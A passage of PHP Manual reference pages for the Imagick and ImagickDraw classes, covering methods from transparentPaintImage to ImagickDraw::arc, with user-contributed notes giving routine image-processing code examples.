Paints pixels matching the target color transparent. This method is available if Imagick has been compiled against ImageMagick version 6.3.8 or newer.

Parameters

target

The target color to paint

alpha

The level of transparency: 1.0 is fully opaque and 0.0 is fully transparent.

fuzz

The amount of fuzz. For example, set fuzz to 10 and the color red at intensities of 100 and 102 respectively are now interpreted as the same color.

invert

If TRUE paints any pixel that does not match the target color.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Creates a vertical mirror image

  • « Imagick::transparentPaintImage
  • Imagick::transverseImage »
  • PHP Manual
  • Imagick
  • Creates a vertical mirror image

Imagick::transposeImage

(PECL imagick 2.0.0)

Imagick::transposeImage — Creates a vertical mirror image

Description

bool Imagick::transposeImage ( void )

Creates a vertical mirror image by reflecting the pixels around the central x-axis while rotating them 90-degrees. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Return Values

Returns TRUE on success.

See Also

  • Imagick::transverseImage() - Creates a horizontal mirror image

User Contributed Notes

There are no user contributed notes for this page.


Creates a horizontal mirror image

  • « Imagick::transposeImage
  • Imagick::trimImage »
  • PHP Manual
  • Imagick
  • Creates a horizontal mirror image

Imagick::transverseImage

(PECL imagick 2.0.0)

Imagick::transverseImage — Creates a horizontal mirror image

Description

bool Imagick::transverseImage ( void )

Creates a horizontal mirror image by reflecting the pixels around the central y-axis while rotating them 270-degrees. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Return Values

Returns TRUE on success.

See Also

  • Imagick::transposeImage() - Creates a vertical mirror image

User Contributed Notes

There are no user contributed notes for this page.


Remove edges from the image

  • « Imagick::transverseImage
  • Imagick::uniqueImageColors »
  • PHP Manual
  • Imagick
  • Remove edges from the image

Imagick::trimImage

(PECL imagick 2.0.0)

Imagick::trimImage — Remove edges from the image

Description

bool Imagick::trimImage ( float $fuzz )

Remove edges that are the background color from the image. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

fuzz

By default target must match a particular pixel color exactly. However, in many cases two colors may differ by a small amount. The fuzz member of image defines how much tolerance is acceptable to consider two colors as the same. This parameter represents the variation on the quantum range.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Examples

Example #1 Using Imagick::trimImage():

Trim an image, then display to the browser.

<?php
/* Create the object and read the image in */
$im = new Imagick("image.jpg");

/* Trim the image. */
$im->trimImage(0);

/* Ouput the image */
header("Content-Type: image/" . $im->getImageFormat());
echo $im;
?>

See Also

  • Imagick::getQuantumDepth() - Gets the quantum depth
  • Imagick::getQuantumRange() - Returns the Imagick quantum range

User Contributed Notes

Kirsty Forrester 08-Feb-2013 08:17
The command for trim can return info which tells you the coordinates of where the image was cropped and the new dimensions of the trimmed image. I couldn't find an example for how to do that with this class, so here's how I did it:

<?php

// Create and trim image
$image = new Imagick('image.png');
$image->trimImage(0.3);

/**
* Imagick:: getImagePage() gives us an array with the width, height, x and y coordinates of the trimmed image
* However, the width and height are of the original image
*/
$imagePage = $image->getImagePage();
list($x, $y) = array($imagePage['x'], $imagePage['y']);

// So we need to reset the image page to get the right height and width of the trimmed image
$image->setImagePage(0, 0, 0, 0);
list($width, $height) = array($image->width, $image->height);

?>

This will leave you with two variables for the width and height of the trimmed image, plus two variables for the x-coordinate and y-coordinate of the trimmed area relative to the original image.

This information is useful when the image you're trimming is the difference between two images (e.g. from Imagick::compareImages(), and you want to crop the original image to the same size and position as the difference.
dhp 23-Apr-2009 01:31
After operations that change the crop of the image, like trimImage does, IM preserves the old canvas and positioning info. If you need to do additional operations on the image based on the new size, you'll need to reset this info with setImagePage. This is the equivalent of the +repage command line argument.

<?php
$im->trimImage(0);
$im->setImagePage(0, 0, 0, 0);
?>
Mark van der Velden 06-Dec-2007 10:35
This method requires ImageMagick version >= 6.2.8


Discards all but one of any pixel color

  • « Imagick::trimImage
  • Imagick::unsharpMaskImage »
  • PHP Manual
  • Imagick
  • Discards all but one of any pixel color

Imagick::uniqueImageColors

(PECL imagick 2.0.0)

Imagick::uniqueImageColors — Discards all but one of any pixel color

Description

bool Imagick::uniqueImageColors ( void )

Discards all but one of any pixel color. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Sharpens an image

  • « Imagick::uniqueImageColors
  • Imagick::valid »
  • PHP Manual
  • Imagick
  • Sharpens an image

Imagick::unsharpMaskImage

(PECL imagick 2.0.0)

Imagick::unsharpMaskImage — Sharpens an image

Description

bool Imagick::unsharpMaskImage ( float $radius , float $sigma , float $amount , float $threshold [, int $channel = Imagick::CHANNEL_ALL ] )

Sharpens an image. We convolve the image with a Gaussian operator of the given radius and standard deviation (sigma). For reasonable results, radius should be larger than sigma. Use a radius of 0 and Imagick::UnsharpMaskImage() selects a suitable radius for you.

Parameters

radius

sigma

amount

threshold

channel

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

Anonymous 24-Feb-2009 05:00
Prepare photo for web

<?php
$im = new Imagick($SrcFile);

$im->resizeImage ( $Width, $Height , Imagick::FILTER_QUADRATIC , 1 );

$im->normalizeImage();
$im->unsharpMaskImage(0 , 0.5 , 1 , 0.05);

$im->setImageFormat( "jpg" );
$im->setCompressionQuality(75);

$im->writeImage( $OutFile );

$im->removeImage();
?>


Checks if the current item is valid

  • « Imagick::unsharpMaskImage
  • Imagick::vignetteImage »
  • PHP Manual
  • Imagick
  • Checks if the current item is valid

Imagick::valid

(PECL imagick 2.0.0)

Imagick::valid — Checks if the current item is valid

Description

bool Imagick::valid ( void )

Checks if the current item is valid.

Return Values

Returns TRUE on success.

User Contributed Notes

hyrumt at mediarain dot com 11-Feb-2010 08:01
We found this method to be of value when checking most image file types. However, it does not appear to be rigorous enough to detect corrupt jpg files. We use the following for jpgs and validate() for everything else.

<?php
    // check for the existence of the EOI segment header at the end of the file
    if (0 !== fseek($file, -2, SEEK_END) || "\xFF\xD9" !== fread($file, 2)) {
        fclose($file);
        return FALSE;
    }
?>


Adds vignette filter to the image

  • « Imagick::valid
  • Imagick::waveImage »
  • PHP Manual
  • Imagick
  • Adds vignette filter to the image

Imagick::vignetteImage

(PECL imagick 2.0.0)

Imagick::vignetteImage — Adds vignette filter to the image

Description

bool Imagick::vignetteImage ( float $blackPoint , float $whitePoint , int $x , int $y )

Softens the edges of the image in vignette style. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

blackPoint

The black point.

whitePoint

The white point

x

X offset of the ellipse

y

Y offset of the ellipse

Return Values

Returns TRUE on success.

See Also

  • Imagick::waveImage() - Applies wave filter to the image
  • Imagick::swirlImage() - Swirls the pixels about the center of the image

User Contributed Notes

There are no user contributed notes for this page.


Applies wave filter to the image

  • « Imagick::vignetteImage
  • Imagick::whiteThresholdImage »
  • PHP Manual
  • Imagick
  • Applies wave filter to the image

Imagick::waveImage

(PECL imagick 2.0.0)

Imagick::waveImage — Applies wave filter to the image

Description

bool Imagick::waveImage ( float $amplitude , float $length )

Applies a wave filter to the image. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

amplitude

The amplitude of the wave.

length

The length of the wave.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

See Also

  • Imagick::solarizeImage() - Applies a solarizing effect to the image
  • Imagick::oilpaintImage() - Simulates an oil painting
  • Imagick::embossImage() - Returns a grayscale image with a three-dimensional effect
  • Imagick::addNoiseImage() - Adds random noise to the image
  • Imagick::swirlImage() - Swirls the pixels about the center of the image

User Contributed Notes

There are no user contributed notes for this page.


Force all pixels above the threshold into white

  • « Imagick::waveImage
  • Imagick::writeImage »
  • PHP Manual
  • Imagick
  • Force all pixels above the threshold into white

Imagick::whiteThresholdImage

(PECL imagick 2.0.0)

Imagick::whiteThresholdImage — Force all pixels above the threshold into white

Description

bool Imagick::whiteThresholdImage ( mixed $threshold )

Is like Imagick::ThresholdImage() but force all pixels above the threshold into white while leaving all pixels below the threshold unchanged.

Parameters

threshold

Return Values

Returns TRUE on success.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as a parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

elmer at web-axis dot net 01-Dec-2008 12:32
Here's a example of this function:

<?php
  $img = new Imagick();
  $img->readImage($image_file_name);
  $img->whiteThresholdImage('grey');
  $img->writeImage($thumb_file_name);
  $img->clear();
  $img->destroy();
?>


Writes an image to the specified filename

  • « Imagick::whiteThresholdImage
  • Imagick::writeImageFile »
  • PHP Manual
  • Imagick
  • Writes an image to the specified filename

Imagick::writeImage

(PECL imagick 0.9.0-0.9.9)

Imagick::writeImage — Writes an image to the specified filename

Description

bool Imagick::writeImage ([ string $filename = NULL ] )

Writes an image to the specified filename. If the filename parameter is NULL, the image is written to the filename set by Imagick::readImage() or Imagick::setImageFilename().

Parameters

filename

Filename where to write the image. The extension of the filename defines the type of the file. Format can be forced regardless of file extension using format: prefix, for example "jpg:test.png".

Return Values

Returns TRUE on success.

User Contributed Notes

Anonymous 11-Jul-2014 07:25
I opened image with Imagick::readImageBlob. When I wanted to save resized image Imagick::writeImage did not work, but Imagick::writeImageFile did.

$image = new Imagick();
$image->readImageBlob($image_data);
// $image->writeImage($fileDst)    did not work
if($f=fopen($fileDst, "w")){
  $image->writeImageFile($f);
}
SkepticaLee 27-Mar-2014 11:30
When running Imagick as packaged with the Abyss Web Server, neither this method nor writeImages () works. Instead the format has to be declared and the file saved by using another method or procedure, e.g.:

<?php
$im = new Imagick ();
$im->newImage (300, 225, "blue");
$im->writeImage ("test_0.jpg"); // fails with no error message
//instead
$im->setImageFormat ("jpeg");
file_put_contents ("test_1.jpg", $im); // works, or:
$im->imageWriteFile (fopen ("test_2.jpg", "wb")); //also works
?>
pfz at pfzone dot org 25-Nov-2012 02:47
With Imagick 3.1.0RC2, PHP4.8
If you plan to overwrite the file you're working on, before doing writeImage, consider clearing the file buffer before the write statement :

<?php
$image = new Imagick($your_file);
/* some processing */

clearstatcache(dirname($your_file));
// or
unlink($your_file);
$image->writeImage($your_file);
?>
It happened to me that the resulting file size was wrong. This could lead to truncation, as the file is not expanded.
This happened while working on JPEG, and PNG.

this line worked for me without this hack.
<?php
file_put_contents($your_file, $image);
?>

Do not rely on getImageLength() for sending your image, especially when keepalive is ON. Content length is then relevant, and must be set. If the wrong size is given, your image will be truncated.
Use filesize($your_file_) once written or strlen($image) instead (which renders your image and updates getImageLength() result).
icinagle at gmail dot com 24-May-2011 03:47
If you are trying to manipulate a uploaded file and then save the file all in the same request with Apache + mod_dav this will fail.
mod_dav puts a lock on the file during the request where the file is uploaded so trying to save the smallest file, e.g. 1kb will fail with a "Failed to allocate memory" error.


Writes an image to a filehandle

  • « Imagick::writeImage
  • Imagick::writeImages »
  • PHP Manual
  • Imagick
  • Writes an image to a filehandle

Imagick::writeImageFile

(No version information available, might only be in Git)

Imagick::writeImageFile — Writes an image to a filehandle

Description

bool Imagick::writeImageFile ( resource $filehandle )

Writes the image sequence to an open filehandle. The handle must be opened with for example fopen. This method is available if Imagick has been compiled against ImageMagick version 6.3.6 or newer.

Parameters

filehandle

Filehandle where to write the image

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Writes an image or image sequence

  • « Imagick::writeImageFile
  • Imagick::writeImagesFile »
  • PHP Manual
  • Imagick
  • Writes an image or image sequence

Imagick::writeImages

(PECL imagick 0.9.0-0.9.9)

Imagick::writeImages — Writes an image or image sequence

Description

bool Imagick::writeImages ( string $filename , bool $adjoin )

Writes an image or image sequence.

Parameters

filename

adjoin

Return Values

Returns TRUE on success.

User Contributed Notes

Malou 16-Jan-2010 10:25
As mbrugue sugest, the second parameter can also be use to save an animated gif:

<?php
$anim = new Imagick();

$files = scandir($myFramesPath);

foreach( $files as $f )
{
    $auxIMG = new Imagick();
    $auxIMG->readImage($mytifspath.$f);

    $anim->addImage($auxIMG);
}

//write animated gif
$anim->writeImages('anim.gif', true);

?>
mbrugue 11-Jun-2009 11:54
The second parameter spicifies if the object is write in multipage file (true) or split every page in a single file (false).

Example:

<?php
$multiTIFF = new Imagick();

$files = scandir($mytifspath);

foreach( $files as $f )
{
    $auxIMG = new Imagick();
    $auxIMG->readImage($mytifspath.$f);

    $multiTIFF->addImage($auxIMG);
}

//file multi.TIF
$multiTIFF->writeImages('multi.TIF', true);

//files multi-0.TIF, multi-1.TIF, ...
$multiTIFF->writeImages('multi.TIF', false);
?>


Writes frames to a filehandle

  • « Imagick::writeImages
  • ImagickDraw »
  • PHP Manual
  • Imagick
  • Writes frames to a filehandle

Imagick::writeImagesFile

(No version information available, might only be in Git)

Imagick::writeImagesFile — Writes frames to a filehandle

Description

bool Imagick::writeImagesFile ( resource $filehandle )

Writes all image frames into an open filehandle. This method can be used to write animated gifs or other multiframe images into open filehandle. This method is available if Imagick has been compiled against ImageMagick version 6.3.6 or newer.

Parameters

filehandle

Filehandle where to write the images

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


The ImagickDraw class

(PECL imagick 2.0.0)

Class synopsis

ImagickDraw {
bool affine ( array $affine )
bool annotation ( float $x , float $y , string $text )
bool arc ( float $sx , float $sy , float $ex , float $ey , float $sd , float $ed )
bool bezier ( array $coordinates )
bool circle ( float $ox , float $oy , float $px , float $py )
bool clear ( void )
ImagickDraw clone ( void )
bool color ( float $x , float $y , int $paintMethod )
bool comment ( string $comment )
bool composite ( int $compose , float $x , float $y , float $width , float $height , Imagick $compositeWand )
__construct ( void )
bool destroy ( void )
bool ellipse ( float $ox , float $oy , float $rx , float $ry , float $start , float $end )
string getClipPath ( void )
int getClipRule ( void )
int getClipUnits ( void )
ImagickPixel getFillColor ( void )
float getFillOpacity ( void )
int getFillRule ( void )
string getFont ( void )
string getFontFamily ( void )
float getFontSize ( void )
int getFontStyle ( void )
int getFontWeight ( void )
int getGravity ( void )
bool getStrokeAntialias ( void )
ImagickPixel getStrokeColor ( void )
array getStrokeDashArray ( void )
float getStrokeDashOffset ( void )
int getStrokeLineCap ( void )
int getStrokeLineJoin ( void )
int getStrokeMiterLimit ( void )
float getStrokeOpacity ( void )
float getStrokeWidth ( void )
int getTextAlignment ( void )
bool getTextAntialias ( void )
int getTextDecoration ( void )
string getTextEncoding ( void )
ImagickPixel getTextUnderColor ( void )
string getVectorGraphics ( void )
bool line ( float $sx , float $sy , float $ex , float $ey )
bool matte ( float $x , float $y , int $paintMethod )
bool pathClose ( void )
bool pathCurveToAbsolute ( float $x1 , float $y1 , float $x2 , float $y2 , float $x , float $y )
bool pathCurveToQuadraticBezierAbsolute ( float $x1 , float $y1 , float $x , float $y )
bool pathCurveToQuadraticBezierRelative ( float $x1 , float $y1 , float $x , float $y )
bool pathCurveToQuadraticBezierSmoothAbsolute ( float $x , float $y )
bool pathCurveToQuadraticBezierSmoothRelative ( float $x , float $y )
bool pathCurveToRelative ( float $x1 , float $y1 , float $x2 , float $y2 , float $x , float $y )
bool pathCurveToSmoothAbsolute ( float $x2 , float $y2 , float $x , float $y )
bool pathCurveToSmoothRelative ( float $x2 , float $y2 , float $x , float $y )
bool pathEllipticArcAbsolute ( float $rx , float $ry , float $x_axis_rotation , bool $large_arc_flag , bool $sweep_flag , float $x , float $y )
bool pathEllipticArcRelative ( float $rx , float $ry , float $x_axis_rotation , bool $large_arc_flag , bool $sweep_flag , float $x , float $y )
bool pathFinish ( void )
bool pathLineToAbsolute ( float $x , float $y )
bool pathLineToHorizontalAbsolute ( float $x )
bool pathLineToHorizontalRelative ( float $x )
bool pathLineToRelative ( float $x , float $y )
bool pathLineToVerticalAbsolute ( float $y )
bool pathLineToVerticalRelative ( float $y )
bool pathMoveToAbsolute ( float $x , float $y )
bool pathMoveToRelative ( float $x , float $y )
bool pathStart ( void )
bool point ( float $x , float $y )
bool polygon ( array $coordinates )
bool polyline ( array $coordinates )
bool pop ( void )
bool popClipPath ( void )
bool popDefs ( void )
bool popPattern ( void )
bool push ( void )
bool pushClipPath ( string $clip_mask_id )
bool pushDefs ( void )
bool pushPattern ( string $pattern_id , float $x , float $y , float $width , float $height )
bool rectangle ( float $x1 , float $y1 , float $x2 , float $y2 )
bool render ( void )
bool rotate ( float $degrees )
bool roundRectangle ( float $x1 , float $y1 , float $x2 , float $y2 , float $rx , float $ry )
bool scale ( float $x , float $y )
bool setClipPath ( string $clip_mask )
bool setClipRule ( int $fill_rule )
bool setClipUnits ( int $clip_units )
bool setFillAlpha ( float $opacity )
bool setFillColor ( ImagickPixel $fill_pixel )
bool setFillOpacity ( float $fillOpacity )
bool setFillPatternURL ( string $fill_url )
bool setFillRule ( int $fill_rule )
bool setFont ( string $font_name )
bool setFontFamily ( string $font_family )
bool setFontSize ( float $pointsize )
bool setFontStretch ( int $fontStretch )
bool setFontStyle ( int $style )
bool setFontWeight ( int $font_weight )
bool setGravity ( int $gravity )
bool setStrokeAlpha ( float $opacity )
bool setStrokeAntialias ( bool $stroke_antialias )
bool setStrokeColor ( ImagickPixel $stroke_pixel )
bool setStrokeDashArray ( array $dashArray )
bool setStrokeDashOffset ( float $dash_offset )
bool setStrokeLineCap ( int $linecap )
bool setStrokeLineJoin ( int $linejoin )
bool setStrokeMiterLimit ( int $miterlimit )
bool setStrokeOpacity ( float $stroke_opacity )
bool setStrokePatternURL ( string $stroke_url )
bool setStrokeWidth ( float $stroke_width )
bool setTextAlignment ( int $alignment )
bool setTextAntialias ( bool $antiAlias )
bool setTextDecoration ( int $decoration )
bool setTextEncoding ( string $encoding )
bool setTextUnderColor ( ImagickPixel $under_color )
bool setVectorGraphics ( string $xml )
bool setViewbox ( int $x1 , int $y1 , int $x2 , int $y2 )
bool skewX ( float $degrees )
bool skewY ( float $degrees )
bool translate ( float $x , float $y )
}

Table of Contents

  • ImagickDraw::affine — Adjusts the current affine transformation matrix
  • ImagickDraw::annotation — Draws text on the image
  • ImagickDraw::arc — Draws an arc
  • ImagickDraw::bezier — Draws a bezier curve
  • ImagickDraw::circle — Draws a circle
  • ImagickDraw::clear — Clears the ImagickDraw
  • ImagickDraw::clone — Makes an exact copy of the specified ImagickDraw object
  • ImagickDraw::color — Draws color on image
  • ImagickDraw::comment — Adds a comment
  • ImagickDraw::composite — Composites an image onto the current image
  • ImagickDraw::__construct — The ImagickDraw constructor
  • ImagickDraw::destroy — Frees all associated resources
  • ImagickDraw::ellipse — Draws an ellipse on the image
  • ImagickDraw::getClipPath — Obtains the current clipping path ID
  • ImagickDraw::getClipRule — Returns the current polygon fill rule
  • ImagickDraw::getClipUnits — Returns the interpretation of clip path units
  • ImagickDraw::getFillColor — Returns the fill color
  • ImagickDraw::getFillOpacity — Returns the opacity used when drawing
  • ImagickDraw::getFillRule — Returns the fill rule
  • ImagickDraw::getFont — Returns the font
  • ImagickDraw::getFontFamily — Returns the font family
  • ImagickDraw::getFontSize — Returns the font pointsize
  • ImagickDraw::getFontStyle — Returns the font style
  • ImagickDraw::getFontWeight — Returns the font weight
  • ImagickDraw::getGravity — Returns the text placement gravity
  • ImagickDraw::getStrokeAntialias — Returns the current stroke antialias setting
  • ImagickDraw::getStrokeColor — Returns the color used for stroking object outlines
  • ImagickDraw::getStrokeDashArray — Returns an array representing the pattern of dashes and gaps used to stroke paths
  • ImagickDraw::getStrokeDashOffset — Returns the offset into the dash pattern to start the dash
  • ImagickDraw::getStrokeLineCap — Returns the shape to be used at the end of open subpaths when they are stroked
  • ImagickDraw::getStrokeLineJoin — Returns the shape to be used at the corners of paths when they are stroked
  • ImagickDraw::getStrokeMiterLimit — Returns the stroke miter limit
  • ImagickDraw::getStrokeOpacity — Returns the opacity of stroked object outlines
  • ImagickDraw::getStrokeWidth — Returns the width of the stroke used to draw object outlines
  • ImagickDraw::getTextAlignment — Returns the text alignment
  • ImagickDraw::getTextAntialias — Returns the current text antialias setting
  • ImagickDraw::getTextDecoration — Returns the text decoration
  • ImagickDraw::getTextEncoding — Returns the code set used for text annotations
  • ImagickDraw::getTextUnderColor — Returns the text under color
  • ImagickDraw::getVectorGraphics — Returns a string containing vector graphics
  • ImagickDraw::line — Draws a line
  • ImagickDraw::matte — Paints on the image's opacity channel
  • ImagickDraw::pathClose — Adds a path element to the current path
  • ImagickDraw::pathCurveToAbsolute — Draws a cubic Bezier curve
  • ImagickDraw::pathCurveToQuadraticBezierAbsolute — Draws a quadratic Bezier curve
  • ImagickDraw::pathCurveToQuadraticBezierRelative — Draws a quadratic Bezier curve
  • ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute — Draws a quadratic Bezier curve
  • ImagickDraw::pathCurveToQuadraticBezierSmoothRelative — Draws a quadratic Bezier curve
  • ImagickDraw::pathCurveToRelative — Draws a cubic Bezier curve
  • ImagickDraw::pathCurveToSmoothAbsolute — Draws a cubic Bezier curve
  • ImagickDraw::pathCurveToSmoothRelative — Draws a cubic Bezier curve
  • ImagickDraw::pathEllipticArcAbsolute — Draws an elliptical arc
  • ImagickDraw::pathEllipticArcRelative — Draws an elliptical arc
  • ImagickDraw::pathFinish — Terminates the current path
  • ImagickDraw::pathLineToAbsolute — Draws a line path
  • ImagickDraw::pathLineToHorizontalAbsolute — Draws a horizontal line path
  • ImagickDraw::pathLineToHorizontalRelative — Draws a horizontal line
  • ImagickDraw::pathLineToRelative — Draws a line path
  • ImagickDraw::pathLineToVerticalAbsolute — Draws a vertical line
  • ImagickDraw::pathLineToVerticalRelative — Draws a vertical line path
  • ImagickDraw::pathMoveToAbsolute — Starts a new sub-path
  • ImagickDraw::pathMoveToRelative — Starts a new sub-path
  • ImagickDraw::pathStart — Declares the start of a path drawing list
  • ImagickDraw::point — Draws a point
  • ImagickDraw::polygon — Draws a polygon
  • ImagickDraw::polyline — Draws a polyline
  • ImagickDraw::pop — Destroys the current ImagickDraw in the stack, and returns to the previously pushed ImagickDraw
  • ImagickDraw::popClipPath — Terminates a clip path definition
  • ImagickDraw::popDefs — Terminates a definition list
  • ImagickDraw::popPattern — Terminates a pattern definition
  • ImagickDraw::push — Clones the current ImagickDraw and pushes it to the stack
  • ImagickDraw::pushClipPath — Starts a clip path definition
  • ImagickDraw::pushDefs — Indicates that following commands create named elements for early processing
  • ImagickDraw::pushPattern — Indicates that subsequent commands up to a ImagickDraw::opPattern() command comprise the definition of a named pattern
  • ImagickDraw::rectangle — Draws a rectangle
  • ImagickDraw::render — Renders all preceding drawing commands onto the image
  • ImagickDraw::rotate — Applies the specified rotation to the current coordinate space
  • ImagickDraw::roundRectangle — Draws a rounded rectangle
  • ImagickDraw::scale — Adjusts the scaling factor
  • ImagickDraw::setClipPath — Associates a named clipping path with the image
  • ImagickDraw::setClipRule — Set the polygon fill rule to be used by the clipping path
  • ImagickDraw::setClipUnits — Sets the interpretation of clip path units
  • ImagickDraw::setFillAlpha — Sets the opacity to use when drawing using the fill color or fill texture
  • ImagickDraw::setFillColor — Sets the fill color to be used for drawing filled objects
  • ImagickDraw::setFillOpacity — Sets the opacity to use when drawing using the fill color or fill texture
  • ImagickDraw::setFillPatternURL — Sets the URL to use as a fill pattern for filling objects
  • ImagickDraw::setFillRule — Sets the fill rule to use while drawing polygons
  • ImagickDraw::setFont — Sets the fully-specified font to use when annotating with text
  • ImagickDraw::setFontFamily — Sets the font family to use when annotating with text
  • ImagickDraw::setFontSize — Sets the font pointsize to use when annotating with text
  • ImagickDraw::setFontStretch — Sets the font stretch to use when annotating with text
  • ImagickDraw::setFontStyle — Sets the font style to use when annotating with text
  • ImagickDraw::setFontWeight — Sets the font weight
  • ImagickDraw::setGravity — Sets the text placement gravity
  • ImagickDraw::setStrokeAlpha — Specifies the opacity of stroked object outlines
  • ImagickDraw::setStrokeAntialias — Controls whether stroked outlines are antialiased
  • ImagickDraw::setStrokeColor — Sets the color used for stroking object outlines
  • ImagickDraw::setStrokeDashArray — Specifies the pattern of dashes and gaps used to stroke paths
  • ImagickDraw::setStrokeDashOffset — Specifies the offset into the dash pattern to start the dash
  • ImagickDraw::setStrokeLineCap — Specifies the shape to be used at the end of open subpaths when they are stroked
  • ImagickDraw::setStrokeLineJoin — Specifies the shape to be used at the corners of paths when they are stroked
  • ImagickDraw::setStrokeMiterLimit — Specifies the miter limit
  • ImagickDraw::setStrokeOpacity — Specifies the opacity of stroked object outlines
  • ImagickDraw::setStrokePatternURL — Sets the pattern used for stroking object outlines
  • ImagickDraw::setStrokeWidth — Sets the width of the stroke used to draw object outlines
  • ImagickDraw::setTextAlignment — Specifies a text alignment
  • ImagickDraw::setTextAntialias — Controls whether text is antialiased
  • ImagickDraw::setTextDecoration — Specifies a decoration
  • ImagickDraw::setTextEncoding — Specifies the text code set
  • ImagickDraw::setTextUnderColor — Specifies the color of a background rectangle
  • ImagickDraw::setVectorGraphics — Sets the vector graphics
  • ImagickDraw::setViewbox — Sets the overall canvas size
  • ImagickDraw::skewX — Skews the current coordinate system in the horizontal direction
  • ImagickDraw::skewY — Skews the current coordinate system in the vertical direction
  • ImagickDraw::translate — Applies a translation to the current coordinate system

User Contributed Notes

There are no user contributed notes for this page.


Adjusts the current affine transformation matrix

  • « ImagickDraw
  • ImagickDraw::annotation »
  • PHP Manual
  • ImagickDraw
  • Adjusts the current affine transformation matrix

ImagickDraw::affine

(PECL imagick 2.0.0)

ImagickDraw::affine — Adjusts the current affine transformation matrix

Description

bool ImagickDraw::affine ( array $affine )
Warning

This function is currently not documented; only its argument list is available.

Adjusts the current affine transformation matrix with the specified affine transformation matrix.

Parameters

affine

Affine matrix parameters

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Draws text on the image

  • « ImagickDraw::affine
  • ImagickDraw::arc »
  • PHP Manual
  • ImagickDraw
  • Draws text on the image

ImagickDraw::annotation

(PECL imagick 2.0.0)

ImagickDraw::annotation — Draws text on the image

Description

bool ImagickDraw::annotation ( float $x , float $y , string $text )
Warning

This function is currently not documented; only its argument list is available.

Draws text on the image.

Parameters

x

The x coordinate where text is drawn

y

The y coordinate where text is drawn

text

The text to draw on the image

Return Values

No value is returned.

User Contributed Notes

web at synaptech dot fr 17-Jul-2013 07:31
In some cases the (custom) font can be truncated on the side parts, especially the handwritten ones.
To improve the above note from Anonymous on "how to create a header image", I've changed this part of the code:

<?php
/* Create text */
$draw->annotation( $metrics['boundingBox']['y2'], $metrics['ascender'], $text );

/* Create image */
$image->newImage( $metrics['textWidth'] + $metrics['boundingBox']['y2'], $metrics['textHeight'], $background );
?>
Anonymous 24-Oct-2009 07:28
Here's how to create a header image and write it to file.  This took me a while to figure out.  I hope this helps.

<?php

/* Text to write */
$text = "Hello World!";

/* Create Imagick objects */
$image = new Imagick();
$draw = new ImagickDraw();
$color = new ImagickPixel('#000000');
$background = new ImagickPixel('none'); // Transparent

/* Font properties */
$draw->setFont('Arial');
$draw->setFontSize(50);
$draw->setFillColor($color);
$draw->setStrokeAntialias(true);
$draw->setTextAntialias(true);

/* Get font metrics */
$metrics = $image->queryFontMetrics($draw, $text);

/* Create text */
$draw->annotation(0, $metrics['ascender'], $text);

/* Create image */
$image->newImage($metrics['textWidth'], $metrics['textHeight'], $background);
$image->setImageFormat('png');
$image->drawImage($draw);

/* Save image */
file_put_contents('/path/to/file.png', $image);
?>
use_contact_form at Jonas-Kress dot de 09-Jul-2009 12:33
may help someone...

<?php
    /**
     * Split the given text into rows fitting the given maxWidth
     *
     * @param unknown_type $draw
     * @param unknown_type $text
     * @param unknown_type $maxWidth
     * @return array
     */
    private function getTextRows($draw, $text, $maxWidth)
    {
        $words = explode(" ", $text);

        $lines = array();
        $i=0;
        while ($i < count($words))
        {//as long as there are words

            $line = "";
            do
            {//append words to line until the fit in size
                if($line != ""){
                    $line .= " ";
                }
                $line .= $words[$i];

                $i++;
                if(($i) == count($words)){
                    break;//last word -> break
                }

                //messure size of line + next word
                $linePreview = $line." ".$words[$i];
                $metrics = $this->canvas->queryFontMetrics($draw, $linePreview);
                //echo $line."($i)".$metrics["textWidth"].":".$maxWidth."<br>";

            }while($metrics["textWidth"] <= $maxWidth);

            //echo "<hr>".$line."<br>";
            $lines[] = $line;
        }

        //var_export($lines);
        return $lines;
    }
?>
Anonymous 30-Jun-2009 05:08
You can use this method to break your text so that it'll fit a certain $maxWidth.

<?php
/**
 * @param string $text
 * @param int $maxWidth
 */
protected function _fitText($text, $maxWidth)
{
    $im = new Imagick();
    $im->newImage($this->_width, $this->_height, "none");

    $lines = explode(PHP_EOL, trim($text));
    $DEBUG_LOOP = 0;

    for ($k = 0; $k < count($lines); ++$k) {
        do {
            $drawText = new ImagickDraw();
            // set your font settings like size, family, .. here
            $metrics  = $im->queryFontMetrics($drawText, $lines[$k]);
            $fits     = $metrics["textWidth"] <= $maxWidth;

            if ($fits) {
                break;
            }

            $pos = mb_strrpos($lines[$k], " ");
            if ($pos === false) {
                throw new RuntimeException("can not make it fit");
            }
            if (!isset($lines[$k + 1])) {
                $lines[$k + 1] = null;
            }
            $lines[$k + 1] = trim(mb_substr($lines[$k], $pos + 1) . " " . $lines[$k + 1]);
            $lines[$k]     = trim(mb_substr($lines[$k], 0, $pos));

            if (++$DEBUG_LOOP >= 200) {
                throw new RuntimeException("infinite loop");
            }
        } while (!$fits);
    }
    $text     = implode(PHP_EOL, $lines);
    $drawText = new ImagickDraw();
    // set your font settings like size, family, .. here again!
    $metrics  = $im->queryFontMetrics($drawText, $text);
    $metrics["text"] = $text;
    assert('$metrics["textWidth"] <= $maxWidth');
    return $metrics;
}
?>


Draws an arc

  • « ImagickDraw::annotation
  • ImagickDraw::bezier »
  • PHP Manual
  • ImagickDraw
  • Draws an arc

ImagickDraw::arc

(PECL imagick 2.0.0)

ImagickDraw::arc — Draws an arc

Description

bool ImagickDraw::arc ( float $sx , float $sy , float $ex , float $ey , float $sd , float $ed )
Warning

